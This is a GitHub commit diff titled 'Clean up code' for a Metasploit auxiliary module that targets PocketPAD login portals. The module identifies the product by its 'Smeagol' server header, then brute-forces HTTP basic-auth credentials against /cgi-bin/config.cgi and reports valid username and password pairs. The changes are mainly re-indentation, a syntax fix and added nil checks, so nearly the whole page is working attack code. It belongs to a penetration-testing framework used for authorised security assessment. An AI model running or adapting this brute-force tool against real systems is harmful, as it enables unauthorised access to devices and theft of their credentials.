Skip to content

Commit b0bdfa7

Browse files
committed
Clean up code
1 parent d60b477 commit b0bdfa7

File tree

1 file changed

+81
-81
lines changed

1 file changed

+81
-81
lines changed

modules/auxiliary/scanner/http/pocketpad_login.rb

Lines changed: 81 additions & 81 deletions
Original file line numberDiff line numberDiff line change
@@ -7,98 +7,98 @@
77

88
class Metasploit3 < Msf::Auxiliary
99

10-
include Msf::Exploit::Remote::HttpClient
11-
include Msf::Auxiliary::Report
12-
include Msf::Auxiliary::AuthBrute
13-
include Msf::Auxiliary::Scanner
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::AuthBrute
13+
include Msf::Auxiliary::Scanner
1414

15-
def initialize(info={})
16-
super(update_info(info,
17-
'Name' => 'PocketPAD Login Brute Force Utility',
18-
'Description' => %{
19-
This module scans for PocketPAD login portal, and
20-
performs a login brute force attack to identify valid credentials.
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => 'PocketPAD Login Brute Force Utility',
18+
'Description' => %{
19+
This module scans for PocketPAD login portal, and
20+
performs a login brute force attack to identify valid credentials.
2121
},
22-
'Author' =>
23-
[
24-
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
25-
],
26-
'License' => MSF_LICENSE
27-
))
28-
end
29-
30-
def run_host(ip)
31-
unless is_app_popad?
32-
return
22+
'Author' =>
23+
[
24+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
25+
],
26+
'License' => MSF_LICENSE
27+
))
3328
end
3429

35-
print_status("#{peer} - Starting login brute force...")
36-
each_user_pass do |user, pass|
37-
do_login(user, pass)
30+
def run_host(ip)
31+
unless is_app_popad?
32+
return
33+
end
34+
35+
print_status("#{peer} - Starting login brute force...")
36+
each_user_pass do |user, pass|
37+
do_login(user, pass)
38+
end
3839
end
39-
end
4040

41-
#
42-
# What's the point of running this module if the target actually isn't PocketPAD
43-
#
41+
#
42+
# What's the point of running this module if the target actually isn't PocketPAD
43+
#
4444

45-
def is_app_popad?
46-
begin
47-
res = send_request_cgi(
48-
{
49-
'uri' => '/',
50-
'method' => 'GET'
51-
})
52-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
53-
vprint_error("#{peer} - HTTP Connection Failed...")
54-
false return
55-
end
45+
def is_app_popad?
46+
begin
47+
res = send_request_cgi(
48+
{
49+
'uri' => '/',
50+
'method' => 'GET'
51+
})
52+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
53+
vprint_error("#{peer} - HTTP Connection Failed...")
54+
return false
55+
end
5656

57-
if (res and res.code == 200 and res.headers['Server'].include?("Smeagol") and res.body.include?("PocketPAD"))
58-
vprint_good("#{peer} - Running PocketPAD application ...")
59-
return true
60-
else
61-
vprint_error("#{peer} - Application is not PocketPAD. Module will not continue.")
62-
return false
57+
if res && res.code == 200 && res.headers['Server'] && res.headers['Server'].include?("Smeagol") && res.body.include?("PocketPAD")
58+
vprint_good("#{peer} - Running PocketPAD application ...")
59+
return true
60+
else
61+
vprint_error("#{peer} - Application is not PocketPAD. Module will not continue.")
62+
return false
63+
end
6364
end
64-
end
6565

66-
#
67-
# Brute-force the login page
68-
#
66+
#
67+
# Brute-force the login page
68+
#
6969

70-
def do_login(user, pass)
71-
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
72-
begin
73-
res = send_request_cgi(
74-
{
75-
'uri' => '/cgi-bin/config.cgi',
76-
'method' => 'POST',
77-
'authorization' => basic_auth(user,pass),
78-
'vars_post' => {
79-
'file' => "configindex.html"
80-
}
81-
})
82-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
83-
vprint_error("#{peer} - HTTP Connection Failed...")
84-
return :abort
85-
end
70+
def do_login(user, pass)
71+
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
72+
begin
73+
res = send_request_cgi(
74+
{
75+
'uri' => '/cgi-bin/config.cgi',
76+
'method' => 'POST',
77+
'authorization' => basic_auth(user,pass),
78+
'vars_post' => {
79+
'file' => "configindex.html"
80+
}
81+
})
82+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
83+
vprint_error("#{peer} - HTTP Connection Failed...")
84+
return :abort
85+
end
8686

87-
if (res and res.code == 200 and res.body.include?("Home Page") and res.headers['Server'].include?("Smeagol"))
88-
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
89-
report_hash = {
90-
:host => rhost,
91-
:port => rport,
92-
:sname => 'PocketPAD Portal',
93-
:user => user,
94-
:pass => pass,
95-
:active => true,
96-
:type => 'password'
97-
}
98-
report_auth_info(report_hash)
99-
return :next_user
100-
else
101-
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
87+
if (res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("Smeagol"))
88+
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
89+
report_hash = {
90+
:host => rhost,
91+
:port => rport,
92+
:sname => 'PocketPAD Portal',
93+
:user => user,
94+
:pass => pass,
95+
:active => true,
96+
:type => 'password'
97+
}
98+
report_auth_info(report_hash)
99+
return :next_user
100+
else
101+
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
102+
end
102103
end
103104
end
104-
end

0 commit comments

Comments
 (0)